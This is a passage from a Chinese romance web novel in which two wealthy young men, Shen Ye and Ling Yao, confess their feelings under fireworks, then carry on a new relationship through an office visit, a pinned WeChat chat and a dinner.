空气死寂,只剩下引擎粗重的喘息声。 沈野率先推门下车,大步走到凌曜的车门前,一把拉开车门。 车内,凌曜双手还紧紧握着方向盘,指节因为用力而泛白,他微微喘着气,额发被汗水打湿,贴在光洁的额头上。 那双漂亮的眼睛里,暴戾未退,还残留着一丝后怕和空洞。 “你他妈疯了?!”沈野的声音带着压不住的怒火,一把抓住凌曜的手腕,将他从车里拽了出来,“不想活了也别拖着我!” 手腕上传来不容置疑的力道和温度,凌曜挣扎了一下,没挣脱,反而对上了沈野近在咫尺的,盛满怒意,和担忧的眼睛。 他心底那根紧绷的弦,忽然就断了。 暴戾之气潮水般退去,取而代之的是一种巨大的疲惫和委屈。 他垂下眼睫,声音低得几乎听不见:“……放开我。” 沈野没放,反而握得更紧,目光沉沉地盯着他:“怎么回事?凌曜,说话。” 凌曜沉默了很久,久到山风都带上了凉意。他才抬起头,望向远处山下城市的璀璨灯火,声音飘忽地问:“沈野……你会想你妈妈吗?” 沈野没料到他会问这个,愣了一下,抓着他手腕的力道不自觉松了些。 他沉默片刻,才低声道:“会。但她走得太早,印象有点模糊了。” 他的母亲在他很小的时候就因病过世了,记忆里的温暖很稀薄。 凌曜扯了扯嘴角,露出一抹苦涩的弧度:“真好……至少你的记忆是温暖的。我的记忆里……只剩下争吵和无休止的冷战。” 他顿了顿,像是终于找到了一个宣泄的缺口,声音带着不易察觉的颤抖,“他今天又跟我说,他不想我经历他的无能为力。可他凭什么,到底凭什么觉得他给我的就是最好的?凭什么要用他的方式把我捆住?” 沈野静静地听着,没有打断。 他看着凌曜在夜色中显得格外单薄脆弱的侧影,想起自己父亲这些年的沉默与付出,心里似乎明白了什么。 “也许……”沈野开口,声音在夜风中显得有些低沉,“他只是害怕。害怕失去你,就像失去你妈妈一样。” 凌曜猛地转头看他,眼圈有些发红:“所以我就该活在他的恐惧里吗?!” “不该。”沈野回答得干脆利落,他看着凌曜的眼睛,眼神平静却有力,“但你可以让他知道,你长大了,不需要他那种方式的保护,也能活得很好。而不是像刚才那样,用玩命来抗议。” 他的语气不算温柔,甚至带着点训斥的味道,但奇异地,让凌曜狂躁的心慢慢落了下来。 两人站在寂静的山路边,靠得很近,手腕还握在一起。 气氛从刚才的剑拔弩张,变得有些微妙的黏稠。 凌曜看着沈野被夜色柔和了的冷硬轮廓,忽然低声问:“那你呢?你会保护我吗?” 沈野的心跳漏了一拍。他看着凌曜那双还带着水汽、亮得惊人的眼睛,里面充满了某种孤注一掷的试探和依赖。 他没有直接回答,而是反问道:“刚才要不是我,你现在可能已经在山崖下面了。这算不算保护?” 凌曜怔了怔,随即,眼底闪过一丝狡黠的光。 他非但没有挣脱被握着的手腕,反而向前凑近了一小步,几乎能感受到沈野的呼吸。 他仰起脸,用那种惯有的,带着点娇气,却又莫名勾人的语气,慢悠悠地说: “那不算。那是你怕死,顺便救了我。” 沈野看着他近在咫尺的脸,他们之间的距离也许不足十厘米。 因此,他甚至能清晰地数清他微微颤动的长睫毛。 山风拂过,带来对方身上淡淡的,混合了烟草和冷冽香气的味道。 他喉结滚动了一下,没有后退,握着凌曜手腕的手指,微不可查地摩挲了一下他腕间冰凉的皮肤。 “那你觉得,”沈野的声音压低了些,带着一丝沙哑和难以言喻的磁性,“怎么才算?” 凌曜的心跳骤然加速。 沈野没有推开他,甚至……给出了回应。 他得寸进尺地又靠近了一点点,鼻尖几乎要碰到沈野的下巴,声音像羽毛一样搔刮着人的耳膜: “比如……等我下次再想不开的时候,早点来救我?别让我大晚上来这么冷的地方?” 这话近乎撒娇,又带着点耍无赖的试探。 沈野看着这个得寸进尺的家伙,忽然低低地笑了一声。 笑声在胸腔震动,通过相贴的身体传过来。 他松开握着凌曜手腕的手,就在凌曜眼底闪过一丝失落时,那只手却抬起,不轻不重地在他额头上弹了一下。 “想得美。” 沈野的语气带着点无奈的纵容,“下次再这么玩命,我就直接把你绑起来扔回给你爸。” 说完,他转身朝自己的车走去,背影在夜色中挺拔利落。 凌曜捂着被弹了一下的额头,那里不疼,反而有点发烫。 他看着沈野的背影,愣了几秒,突然扬声喊道:“喂!沈野!” 沈野拉开车门的动作顿住,回头看他。 凌曜站在车边,山风吹起他额前的碎发,露出他那明亮又嚣张的笑:“我饿了!刚才消耗太大,你得负责夜宵!” 沈野看了他几秒,没什么表情地吐出两个字:“上车。” 引擎再次轰鸣,两辆车一前一后,这次是平稳地,驶向了山下灯火通明的城市。 山风依旧凛冽,却仿佛带上了一丝不同以往的的温度—— 两辆车一前一后,驶离盘山公路,融入了城市边缘依旧喧嚣的夜色中。 沈野在前,凌曜紧随其后,最终停在了一个临江的观景平台附近。 这里远离市中心,视野开阔,能望见对岸璀璨的城市天际线,又相对僻静。 沈野上辈子还挺喜欢来这里看风景,倒是还没带凌曜来过。 沈野停好车,凌曜也熄了火,推门下车。 山风带来的躁动似乎平息了些,他们并肩靠在沈野的车头引擎盖上,望着江对岸的灯火,一时间谁都没有说话。 刚才生死时速的惊险和心底隐秘的袒露,让空气里漂浮着一种难以言喻的微妙感。 就在这时—— “咻——嘭!” 一束巨大的金色流光突然划破夜空,在对岸的天际轰然炸开,绽放出漫天华彩! 紧接着,第二束、第三束…… 越来越多的烟花争先恐后地升空,将夜幕渲染得如同白昼。 原来今晚对岸有大型的庆典活动,恰好到了烟花表演的时间。 这突如其来的巨响和绚烂光芒,让沉浸在各自思绪中的两人都猝不及防地浑身一颤! 沈野下意识地侧身想去看凌曜的情况,几乎在同一瞬间,凌曜也被这巨响惊得向他这边靠拢。 两人在毫无防备的情况下,身体猛地撞在了一起。 沈野的后背抵住了冰冷的引擎盖,而凌曜则因为惯性,整个人几乎撞进了他的怀里。 温热的体温、急促的呼吸、还有瞬间放大的、带着惊愕的漂亮脸庞,占据了沈野全部的感官。 烟花在他们头顶的天空中接连不断地爆开,巨大的声响淹没了世间一切杂音。 五彩斑斓的光影在凌曜的瞳孔里明明灭灭,仿佛有星辰在其中炸裂。 在这与世隔绝般的喧闹中心,凌曜仰头看着沈野近在咫尺的,带着一丝错愕的脸,心脏像是被什么东西狠狠撞了一下,一股前所未有的冲动席卷了他。 那些压抑已久的、混乱的、炙热的情感,在这一刻冲破了所有理智的堤坝。 他猛地伸手攥住了沈野胸前的衣料,用力将两人之间的距离拉得更近,几乎鼻尖相抵。 然后,他仰起头,对着沈野大声喊了一句什么。 绚丽的烟花在他们头顶轰鸣,巨大的声浪吞噬了他的声音。 沈野只看到他那张漂亮的唇一张一合,看到那双总是盛着骄纵或任性的眼睛里,此刻翻涌着一种近乎孤注一掷的滚烫。 “你说什么?” 沈野下意识地低头,凑近他,试图听清。 然而,凌曜没有重复。 回答他的,是一个带着烟花硝烟味和灼热体温的、不容拒绝的吻。 凌曜猛地抓住他的衣领,吻上了他。 这个吻毫无章法,甚至带着点笨拙的凶狠和颤抖,像是一场突如其来的夏季暴雨,急切、猛烈、不容抗拒。 它隔绝了漫天烟花的巨响,隔绝了江面的微风,也隔绝了沈野脑中最后一根名为理智的弦。 沈野的呼吸骤然停滞,大脑一片空白。 他能清晰地感受到唇上传来的柔软而滚烫的触感,感受到凌曜抓着他衣襟的手指在微微发抖,感受到彼此失控的心跳,如同擂鼓般敲击着胸腔。 时间仿佛在这一刻被无限拉长。 直到一簇格外巨大的紫色烟花在夜空正中央绽放,将相拥的两人笼罩在一片迷离的光晕中。 凌曜才像用尽了所有勇气般,猛地向后退开一小步,气喘吁吁。 他的脸颊绯红,眼尾也染上了一层秾丽的艳色,在烟花的映照下,美得惊心动魄。 他紧紧盯着沈野的眼睛,看着沈野鼻尖的那颗小痣,声音带着亲吻后的沙哑和一丝不易察觉的颤抖,却又异常清晰地问: “沈野,这次,你听清了吗?” 沈野怔怔地看着他,看着这个在漫天华彩下,以一种近乎野蛮的方式、不由分说地闯入他世界的人。 前世灵堂上那个冰冷的吻,与此刻这个滚烫的吻,在脑海中轰然重叠。 所有的困惑、挣扎、逃避,在这一刻,似乎都失去了意义。 他沉默着,没有回答。 而是用行动给出了答案。 沈野伸出手,一把扣住凌曜的后颈,带着一种不容置疑的力量,将他重新拉回自己怀中,低头,深深地回吻了过去。 沈野的回应像一场沉默的山火,瞬间将凌曜吞没。 这个吻不再是单方面的侵袭,而是变成了势均力敌的交锋,是压抑已久的情感的彻底爆发,是两颗孤寂灵魂在喧嚣世界里的相互确认。 烟花依旧在头顶绚烂地燃烧,将他们的身影在江边拉得很长。 这个吻不知道持续了多久,直到最后一簇烟花在夜空尽头黯然消散,只留下缕缕青烟和重新降临的寂静。 江风拂过,带着水汽和硝烟的味道。 两人微微分开,额头相抵,急促的呼吸交织在一起,在微凉的夜空中化作白雾。 凌曜的眼睫湿漉漉的,脸颊绯红,原本明亮的眼神此刻蒙着一层水光,显得有些懵懂和依赖。 他微微喘着气,看着近在咫尺的沈野,那双总是冷静自持的眼睛里,此刻翻涌着他还从未见过的、深不见底的暗潮。 寂静中,凌曜带着点沙哑的鼻音,轻声问,像是不确定,又像是撒娇: “……你这算……什么意思?” 沈野凝视着他,指腹轻轻摩挲着他泛红的眼尾,动作带着一种前所未有的珍视。他沉默了几秒,然后,用低沉而清晰的声音,一字一句地说: “意思是,从今往后,你的命,归我管。” 还有一句话,他没有说出口。 他想说。 我的也是。 烟花在头顶喧嚣,而他们在彼此眼中,找到了寂静的宇宙。《 》 40-45 第41章 夜色已深, 整座城市灯火通明。 凌曜没有回那座空旷的凌家老宅,也没有回自己那间顶层公寓。 他的车在街上漫无目的地绕了几圈后,最终鬼使神差地停在了肖展颜的楼下。 自从母亲离开后, 母亲这边血脉相连的亲人,他最亲的,能让他卸下所有盔甲轻松喘口气的,似乎就只剩肖展颜了。 明明只比他大几岁, 对待他,却总像老母鸡护崽一样。 电梯平稳上行, 凌曜靠着冰冷的厢壁,指尖还残留着烟花燃放后的淡淡硝烟味, 以及沈野用力扣住他后颈时, 皮肤相触的灼热温度。 他抬手,指尖无意识地碰了碰自己的嘴唇。 那里似乎还留着被吮吸摩擦后的细微刺痛感, 以及沈野最后回吻他时,那种近乎掠夺的强势。 该死的。 他在心里低咒一声, 耳根却不受控制地烧了起来。 他好喜欢这份强势。 “叮”的一声, 电梯门打开。 凌曜深吸一口气, 走到肖展颜家门口,按响了门铃。 最后调整了一下表情。 他急切地觉得自己需要说点什么, 需要找个人分享这满得快要溢出来的、混杂着狂喜、忐忑和巨大不真实感的情绪。 门很快被打开。 肖展颜穿着宽松的家居服, 头发微湿, 像是刚洗完澡。 他看到这个时间点突兀地站在门口的凌曜, 明显愣了一下。 几乎是本能反应, 他锐利的目光迅速扫过凌曜微红的眼眶、略显凌乱的发丝,心里猛地一紧,第一个念头就是:谁他妈敢给曜曜气受了? 他正要着急忙慌问谁欺负你了, 然而,话未出口,他的视线就精准地捕捉到了凌曜那双异常明亮的眼睛,。 以及那紧紧抿着,却无论如何也控制不住向上翘起的嘴角。 那是一种极力想掩饰,但根本藏不住的狂喜。 肖展颜到了嘴边的质问瞬间卡住,他眼珠转了转,上下打量了凌曜一番。 结合这深更半夜,魂不守舍又春心荡漾的模样,心里顿时跟明镜似的。 哦,懂了。 不是受气了。 是发情了。 他脸上紧绷的线条瞬间放松,挂上戏谑。 肖展演颜侧身让开通道,抱臂倚在门框上,拖长了语调,懒洋洋地调侃道: “哟——这是哪位神仙下凡,把我们太子爷弄成这副魂不守舍的样子啊?” 那语气里的揶揄几乎要溢出来。 凌曜没接话,像是没听见似的,径直从他身边挤了进去。 他熟门熟路地走向厨房,打开冰箱门,拿出一瓶冰水,拧开瓶盖仰头就灌了好几口。 冰凉的液体划过喉咙,却丝毫没能浇灭心底那股燥热。 肖展颜也不在意,慢悠悠地跟到厨房门口,慵懒地靠在门框上,双臂环抱,好整以暇地看着自家表弟略显仓促的背影,慢条斯理地抛出一个肯定句:“是沈野吧?” “咳……咳咳……”凌曜被水呛了一下,猛地咳嗽起来,耳根以肉眼可见的速度迅速泛红。他放下水瓶,有些狼狈地抹了下嘴角,却没有反驳。 这反应,等于默认了一切。 肖展颜脸上的调侃之色渐渐收敛,他走上前几步,神色变得认真起来:“曜曜,”他声音低沉了些,“你想清楚了?沈野那个人,心思深,性子硬,从小就是最有主意的那个。他认定的路,十头牛都拉不回来。这样的人,不是能轻易驾驭的。哥哥是怕你……一头栽进去,最后受伤的是你自己。” 凌曜握着冰冷的矿泉水瓶,指尖微微用力。 他抬起头,看向肖展颜,那双总是带着几分骄纵或漫不经心的漂亮眼睛里,此刻清澈见底,异常明亮。 “表哥,”凌曜淡淡道,“我不是要驾驭他。” 他顿了顿,像是在斟酌词语,又像是在宣誓什么,一字一句地说:“我是……想和他并肩。” 肖展颜看着凌曜眼中那份近乎执拗的认真,所有劝诫的话都堵在了喉咙里。 他了解凌曜,这孩子被宠坏了,想要的东西从来没有得不到的,但很少会对什么东西、什么人露出这样近乎虔诚的郑重神情。 他沉默地看了凌曜几秒,最终,所有的担忧都化作一声轻轻的叹息。 肖展颜伸出手,用力揉了揉凌曜柔软的发顶,就像小时候无数次那样,脸上重新浮现出带着点无奈和纵容的笑意:“行吧。只要你开心。” 然后,他收敛笑意,语气是少有的郑重:“不过曜曜,你记住,不管以后发生什么,遇到什么难处,哥这儿,永远是你的退路。” 凌曜重重地点了点头,喉结滚动了一下,想说什么,最终却只是低低地“嗯”了一声。 有些情谊,无需多言。 肖展颜看着他这副样子,笑着摇了摇头,转身从酒柜里拿出酒杯和一瓶低度数的起泡酒:“别光喝水了,过来,陪哥喝一杯,庆祝一下我们家小祖宗,总算开窍了。”—— 自从那天之后,沈野和凌曜的关系进入了一种心照不宣的半公开状态。 在孙潇桡、江乐君这帮核心朋友圈子里,两人不再刻意保持距离,只是没直白地说出来。 这日午后,沈野公司的会议室内,气氛凝重。 他正与几位高管召开关于新项目融资的会议。 沈野坐在主位,面色冷峻,听着下属汇报,指尖无意识地在光洁的桌面上轻敲,这是他陷入深度思考时的习惯。 没多久,会议室厚重的实木门被极轻地推开一条缝隙。 一颗脑袋自然地探了进来。 是凌曜。 他今天穿了一件颜色温和的婴儿蓝色卫衣,柔软的布料衬得他肤色愈发白皙,与满室黑白灰的严肃西装形成了极具冲击力的反差。 是旁边的秘书送他上来的,凌曜似乎没料到会议还没结束,视线仓促地扫过全场。 在接触到一屋子高管惊愕的目光时,漂亮的脸蛋上飞快地掠过一丝不易察觉的窘迫,耳根微微泛红。 沈野也看见了,尤其是看见凌曜那点不自然的表情。 他轻咳一声,看向凌曜。 凌曜像瞬间找到了救星,举起手里那个印着某家极难预约的私厨Logo的纸袋,对着沈野的方向,用口型无声地说:“——三明治。” 全会议室瞬间鸦雀无声。 所有目光都聚焦在沈野身上,等待着这位素来最讨厌会议被打断的老板的反应。 沈野抬眸,对上凌曜那双有点迷茫的眼睛。 他脸上的线条几不可查地柔和了一瞬,然后低头瞥了一眼腕表——下午两点十五分,确实早过了平常的午饭点。 得到默许,凌曜满意地勾了勾嘴角,蹑手蹑脚地溜进来。 不过,他也没有明目张胆到直接走到沈野旁边塞给他,而是坐到会议室最后面,将那个还带着温热的纸袋放在手边不碍事的地方。 然后掏出手机,戴上耳机,开始玩起消消乐。 这个游戏,他都打到八百多关了。 高管们交换着难以置信的眼神。 这位传说中脾气不小的凌家太子爷,此刻怎么忽然乖巧得像个来等家长下班的孩子? 而沈总,居然就这么默许了? 沈野轻咳一声,拉回众人的注意力:“继续。” 奇妙的是,刚才笼罩在他周身的那股因压力而产生的低气压,悄然消散了几分。 只有沈野自己知道,这种特权和眼前这个与往日大相径庭的凌曜,意味着什么。 上辈子,凌曜绝不会做出这种看似不合时宜的举动。 那时的凌曜,只会用更强势的商业手段,要么将沈野逼入绝境,要么在关键时刻“施舍”般地给出资源,眼神里永远是居高临下的审视。 绝不会是现在这样,像个担心恋人饿肚子、又怕打扰对方工作而显得笨拙又小心翼翼的恋爱新手。 “这辈子,他好像真的变得不一样了。” 沈野听着汇报,心里某个冰封的角落,似乎被这突如其来的、带着点傻气的温暖,撬开了一丝微小的缝隙。 冗长的会议终于结束。 高管们如蒙大赦般迅速收拾文件起身,经过会议室角落时,都忍不住偷偷瞄一眼那位正戴着耳机的凌家太子爷。 这位爷从进来放下食盒后,就再没发出过一点声音,安静得几乎让人忘了他的存在。 走在稍后的一位年轻总监好奇心重,仗着角度优势,飞快地瞥了一眼凌曜亮着的手机屏幕。 这一瞥,他脚步猛地一顿,嘴角控制不住地抽搐了一下。 只见那位传说中脾气骄纵、手腕凌厉的凌云集团继承人,此刻正眉头微蹙,表情异常专注地…… 玩着一款色彩鲜艳的消消乐游戏。 手指在屏幕上快速滑动,伴随那大大的动画特效,年轻总监:“……” 他赶紧低下头,强忍住几乎要绷不住的笑意,快步跟上同事。 他碰了碰身旁另一位资深经理的肩膀,用极低的气音说:“王经理,你猜凌少在干嘛?” 王经理不明所以,也悄悄回头看了一眼。 两秒后,王经理面无表情地转回头,推了推眼镜,用一种饱经沧桑的语气低声感叹:“……有钱人的快乐,果然就是这么朴实无华,且枯燥。”—— 沈野揉了揉眉心,收拾好桌上的文件,看向角落里的人。 凌曜似乎完全沉浸在自己的世界里,手指在屏幕上快速划动,眉头微蹙,像是在跟游戏较劲,婴儿蓝的卫衣让他整个人看起来柔软了不少。 “走了。”沈野出声,声音因长时间的会议而略带沙哑。 凌曜闻声抬起头,看到人都走光了,才摘下耳机,脸上那点故作专注的表情瞬间松懈下来,取而代之的是一种带着点抱怨的娇气:“开完了?饿死我了。” 他站起身,活动了一下有些发麻的腿,很自然地走到沈野身边,伸手就去拉他胳膊,“快走快走。” 沈野由着他拽,两人一前一后走出会议室,回到了沈野的办公室。 一进办公室,凌曜反手关上门,就像回到了自己的地盘,刚才在会议室那点乖顺瞬间消失无踪。 他把自己扔进沈野办公桌对面那张宽大舒适的会客沙发里,身体陷进柔软的皮质,长腿随意地向前伸展,几乎要碰到沈野的桌脚。 这个姿势带着点占领地盘的意味,又透着一股被骄纵出来的懒散。 他微微蹙着眉,像是受了天大的委屈,抱怨道:“跟你开个会真费劲,闷死了。” 沈野没接他的话茬,甚至连眼皮都没抬一下。 他径直走到办公桌后坐下,骨节分明的手拆开那个精致的纸袋,拿出里面还带着余温的三明治。 包装纸发出细微的窸窣声,在安静的办公室里格外清晰。 他吃东西的样子很斯文,但速度不慢,显然是饿了。 午后的阳光透过百叶窗,在沈野低垂的睫毛上投下细密的阴影,清晰的侧脸线条在光线下显得柔和了些许。 凌曜原本懒洋洋地瘫在沙发里,目光却不由自主地被吸引过去。 他看着沈野安静进食的样子,看着他的喉结随着吞咽轻轻滚动,自己先前的抱怨早就抛到了脑后。 办公室里只剩下轻微的咀嚼声,一种奇异的静谧弥漫开来。 过了一会儿,凌曜稍稍坐直了身体,声音比刚才低了一点。 “嘿,”他唤道,见沈野终于抬眸看他,才抿了抿唇,问:“好吃吗?” 这个问题问得有些笨拙,甚至有点傻气。 东西是他精挑细选买来的,沈野喜不喜欢,他本该有十足的信心。 可此刻,他却像个小学生交上作业后,眼巴巴等着老师点评一样,心里藏着点七上八下的忐忑。 沈野咀嚼的动作微微一顿,目光落在凌曜脸上。 青年看似随意地靠在沙发里,但微微前倾的肩线和专注的眼神,泄露了他并非真的不在意答案。 那双漂亮的眼睛里,闪烁着一点点的紧张,和更多的,被小心翼翼藏起来的求表扬。 沈野没有立刻回答。 他慢条斯理地咽下口中的食物,拿起旁边的水杯喝了一口,才重新看向凌曜。 他的眼神很深,像幽静的潭水,看不出太多情绪,但也没有了平日面对外人时的疏离。 “嗯。”他应了一声,“还不错。” 这个回答很平淡,甚至算得上敷衍。 但凌曜的眼睛却瞬间亮了起来。 他嘴角控制不住地向上翘起,又强行压下,故作镇定地重新靠回沙发背,用一种更加懒洋洋的、仿佛浑不在意的语调说:“哼,当然不错,我挑的能有错?” 可他那双亮得惊人的眼睛,和微微泛红的耳尖,却彻底出卖了他此刻的心情。 一种笨拙的,纯粹的喜悦,在他周身弥漫开来。 沈野看着他这副口是心非,暗自得意的模样,心底某处像是被羽毛轻轻挠了一下。 他收回目光,继续吃着手里的三明治,只是嘴角几不可查地向上弯了一个极小的弧度。 这种幼稚的问答,这种小心翼翼的试探和得到肯定后的雀跃,都是他从未在凌曜身上见过的。 上辈子的凌曜,给予或夺取,都带着冰冷算和强势的姿态。 而今,这份带着烟火气的、笨拙的讨好,竟让他觉得……有点可爱。 一种微妙的气息在两人之间流转。 等吃完了三明治,沈野习惯性地拿起手机,想查看一下会议期间是否有重要信息。 他刚解锁屏幕,还没来得及看,一只骨节分明的手就伸了过来,动作极快地抽走了他的手机。 沈野抬头。 凌曜不知何时已经从沙发上起来,绕到了他身边,正拿着他的手机,滑动几下。 沈野挑眉,靠在椅背上,想看看他要干什么。 凌曜认认真真扒拉了还一会儿,微微扬着下巴,脸上忽然带着点不满和审视的表情。 “沈野,”他晃了晃手机,屏幕还亮着,“我的微信,你为什么没有置顶?” 沈野看着他理直气壮的样子,有些好笑:“为什么要置顶?” “你说为什么?”凌曜像是被他的反问气到了,漂亮的眉毛拧起,“我们现在是什么关系?嗯?我找你找不到怎么办?万一有急事呢?” 他凑近一步,几乎贴着办公桌沿,身体微微前倾,带着淡淡的香气,眼神灼灼地盯着沈野,“你那些乱七八糟的工作群,难道比我还重要?” 这完全是不讲道理的歪理,但从凌曜嘴里说出来,却带着一种天经地义的娇蛮。 沈野看着他近在咫尺的脸,因为不满而微微鼓起的脸颊,和那双紧盯着自己、不肯罢休的眼睛,心里那点因会议带来的疲惫竟意外散了不少。 他靠在椅背上,好整以暇地问:“那你觉得,应该置顶成什么?” 凌曜见他没直接拒绝,眼睛一亮,得寸进尺地拿起沈野的手,用他的指纹解锁了手机,然后熟练地点开微信,找到自己的对话框。 他指尖悬在备注栏上,侧头看沈野,眼波流转间带着狡黠的笑意:“改成……全世界最好的男朋友,怎么样?” 沈野眉峰微动,没说话。 凌曜看着他的表情,撇撇嘴,自顾自地否决:“算了,太肉麻。” 他手指飞快地动了几下,把原本连名带姓的“凌曜”删掉,改成了一个简单的“曜”,然后利落地设置了置顶。 做完这一切,他把手机塞回沈野手里,得意地挑眉:“好了!以后我的消息,你必须第一个回!” 沈野看着屏幕上那个被强行置顶的“曜”,又抬眼看看面前这个一脸“快夸我聪明”表情的人,心底泛起一丝无奈的纵容。 他伸手,轻轻捏住凌曜皙白的脸蛋,轻轻晃了晃,声音低沉:“这么霸道?” 凌曜也不闹,任他捏,然后理直气壮地反驳:“对你当然要霸道一点!不然你眼里只有工作!” 沈野刚刚的反应太过平淡,完全不符合他心中“确定关系”后该有的情感浓度。 他漂亮的眉毛蹙起,带着一种被怠慢的不悦,猛地从沙发里站起来,几步绕到办公桌后。 沈野正准备继续处理文件,察觉到阴影笼罩,刚抬起眼,手腕就被一股不容拒绝的力道攥住。 凌曜的手指温热,带着点任性的力度,将他从椅子上拉了起来。 第42章 “凌曜?”沈野有些意外, 声音里还带着惯常的冷静,但身体已经顺着那力道站起。 凌曜没回答,只是用那双灼亮的眼睛瞪着他, 另一只手却顺势环上了沈野的腰。 带着点蛮横的意味,将人往自己怀里一带。 沈野猝不及防,身体失衡,几乎是跌坐进凌曜早已顺势坐下的椅子里。 而凌曜则顺势挤着坐下, 将他困在了办公桌和椅背之间狭小的空间里。 “你……” 沈野的后背紧贴着柔软的皮质椅背,凌曜的气息瞬间包围了他。 这个姿势过于被动和亲密, 他下意识地想抬手格挡,手腕却被凌曜更快地按住, 压在了椅子扶手上。 凌曜的膝盖抵在他腿侧, 形成一个充满掌控感的禁锢姿势。 “我什么我?”凌曜俯下身,鼻尖几乎蹭到沈野的, 呼吸带着点不满的热度,喷洒在沈野脸上, “沈总, 工作就那么好看?比我好看?” 他的声音压低了, 带着点沙哑的质询,眼神里是毫不掩饰的占有欲和挑衅。 那张精致得过分的脸逼近, 带来的压迫感十足。 比他好看? 那肯定是不如的。 沈野呼吸一滞。他能清晰地感受到凌曜腿上传来的热度和胸膛下传来的心跳。 跳动的频率比自己更快。 凌曜的指尖还用力按着他的手腕, 带着点不容挣脱的强势。 这种近乎蛮横的亲近方式, 与他记忆中任何一次交锋都不同, 直接、滚烫, 充满了少年人独有的,不讲理的占有欲。 沈野的耳根控制不住地开始发热,他想偏开头, 却被凌曜另一只手捏住了下巴,力道不重,却带着十足的掌控意味,强迫他直视着那双燃烧着炽热情绪的眼睛。 “说话。”凌曜催促道,眼神紧锁着他,仿佛不得到一个满意的答案绝不罢休。 沈野看着身上这个霸道的麻烦,心底那根名为冷静的弦绷紧到了极致,发出细微的颤音。 他喉结滚动了一下,终是败下阵来,低声开口,声音比平时哑了几分:“……别闹。” 这两个字,与其说是拒绝,不如说是无奈的纵容,甚至带着一丝自己都未察觉的妥协。 凌曜眼底瞬间迸发出得逞的亮光,他满意地哼笑一声,捏着沈野下巴的手指松开,转为轻轻摩挲着他微微泛红的耳廓,动作带着点狎昵的意味。 “这还差不多。”他嘟囔着,得寸进尺地低下头,目标明确地吻了上去。 沈野僵硬了一瞬,最终闭上了眼,按在扶手下的手指微微蜷缩,却终究没有推开。 他感受着唇上传来的啃咬,带着点惩罚意味。 再到逐渐深入的纠缠,一种陌生的,令人心悸的眩晕感席卷而来。 在他的认知里,他才应该是那个掌控局面的人,此刻却在这个骄纵的小少爷近乎掠夺的亲吻里,节节败退,只能被动地承受着这份过于炽热的麻烦。 凌曜这个吻,带着他特有的骄横,像一阵突如其来的热带风暴,席卷了沈野所有的感官。 直到凌曜稍稍退开,用那双水光潋滟,带着得意和挑衅的眼睛看着他时,沈野才从那种唇齿交缠的眩晕感中缓缓回神。 心跳还在失序地狂跳,呼吸也有些紊乱。 但比生理反应更让沈野怔愣的,是一个在此之前他从未认真思考过,或者说刻意忽略的问题,如同惊雷般劈进了他的脑海。 等等……我和凌曜…… 我们两个…… 到底谁该在上面??? 这个念头一旦产生,沈野忽然懵了。 他活了两辈子,从青春期懵懂到商场沉浮,自我认知一直是个笔直得不能再笔直的男人。 喜欢的一直是温软娇俏的女性,从未对同性产生过任何超越竞争或友谊的想法。 即使重生后,对凌曜的感觉变得复杂难言,他也更多地将之归结于连自己都说不清道不明的吸引。 此刻,被凌曜以如此强势的姿态困在椅子里,被动地承受着那个充满占有欲的吻,沈野才后知后觉地意识到。 同性之间,似乎还存在一个非常现实的问题。 沈野深深看了凌曜一眼。 从体力、体型和格斗技巧上来说…… 自己常年保持健身和搏击训练,真要认真起来,制住这个娇生惯养的太子爷应该不成问题。 从性格和掌控欲来看。 凌曜确实骄纵任性,脾气坏得像只被宠坏的猫,但本质上…… 沈野的目光落在近在咫尺的这张脸上。 皮肤白皙得近乎透明,睫毛长而卷翘,鼻梁挺直,嘴唇因为刚刚的亲吻而显得格外红润饱满。 这张脸漂亮得极具欺骗性,带着一种养尊处优的精致。 再说了,沈野继续想道,凌曜这家伙,从小被人捧着哄着,生活自理能力约等于零,连泡面都能煮糊。 在床上那种需要技术、体力和绝对主导权的事情上,他能行? 沈野越想越觉得自己的推断合情合理。 凌曜刚才的强势,大概就是一种小动物虚张声势的本能,就像猫咪炸毛唬人一样。 真到了关键时刻,还得靠自己这种沉稳可靠的人来主导大局。 嗯,沈野满意地在心里得出了结论。 肯定是我在上面。 这个认知让他莫名松了一口气,仿佛解决了一个潜在的巨大隐患。 他甚至觉得有点好笑,自己居然会为这种问题困扰片刻。 看着凌曜那张犹自带着得意、仿佛已经征服了他的漂亮脸蛋,沈野眼底掠过一丝极淡的纵容。 他抬手,原本被凌曜按着的手腕轻易反转,反而握住了凌曜的手,力道不重,却带着一种不容置疑的掌控感。 他用指腹摩挲了一下凌曜的手背,语气恢复了平日的冷静,甚至带着点揶揄:“亲够了?” 凌曜正沉浸于占据上风的喜悦中,被沈野突然反客为主的举动和语气弄得一愣,下意识地眨了眨眼。 沈野看着他这副有点懵的样子,心里那份信念更加坚定。 他轻轻推开凌曜一些,整理了一下被弄皱的衬衫领口,动作从容不迫。 “不是饿了吗?”沈野站起身,居高临下地看了还坐在椅子里的凌曜一眼,顺手揉了揉他柔软的发顶,“走吧,带你去吃饭。” 说完,他率先朝办公室门口走去,背影挺拔,步伐沉稳。 凌曜坐在椅子上,看着沈野的背影,摸了摸刚刚被揉过的头发,又回味了一下沈野刚刚的谜之自信的眼神和语气,眉头慢慢皱了起来。 ……怎么回事? 刚才的气氛,好像有哪里不对劲? 他甩甩头,抛开那点怪异感,赶紧起身追了上去。 不管了,反正沈野是他的了,至于其他的……哼,来日方长—— 两人最终去了凌曜点名过的那家新开日料店。 包厢清静,食材新鲜。 凌曜显然心情极好,指挥着沈野给他夹这个蘸那个,自己吃得眉眼弯弯。 沈野才吃完三明治,也没什么胃口,偶尔给他夹菜。 看着凌曜满足的样子,心情倒是不错。 用餐间隙,他忽然想起一件事,放下筷子,状似随意地问:“你下学期,是不是快开学了?” 正埋头对付一块海胆的凌曜动作一顿,抬起眼,眼神里那点快乐光芒肉眼可见地黯淡了几分。 他撇撇嘴,用筷子戳着碗里的米饭,声音带了点不情愿:“嗯……但是我不着急回去。” 想到这个,凌曜就烦死了。 好不容易把人搞到手了,还没上本垒呢,别到时候一纸机票直接把人发配去美国了。 “为什么?课程安排紧么?”沈野给他斟了杯热茶。 “不紧,所以不着急回去。”凌曜拖长了调子,没什么精神。 “主要就是写几篇 assignment,烦死了……不想回去。” 最后几个字,带着明显的抱怨和撒娇意味。 沈野看着他这副模样,心里有些好笑,又有些微妙的不舍。 他清楚凌曜的学业重要性,也明白凌家对他学业的看重。 他沉吟片刻,开口:“学业不能耽误。按时回去。” 凌曜一听,眉头立刻拧了起来,刚要发作。 沈野却继续道,目光平静地看着他:“你好好上学。如果你很认真,” 他顿了顿,给出了一个具体的,诱人的条件,“我就抽时间,飞过去看你。” 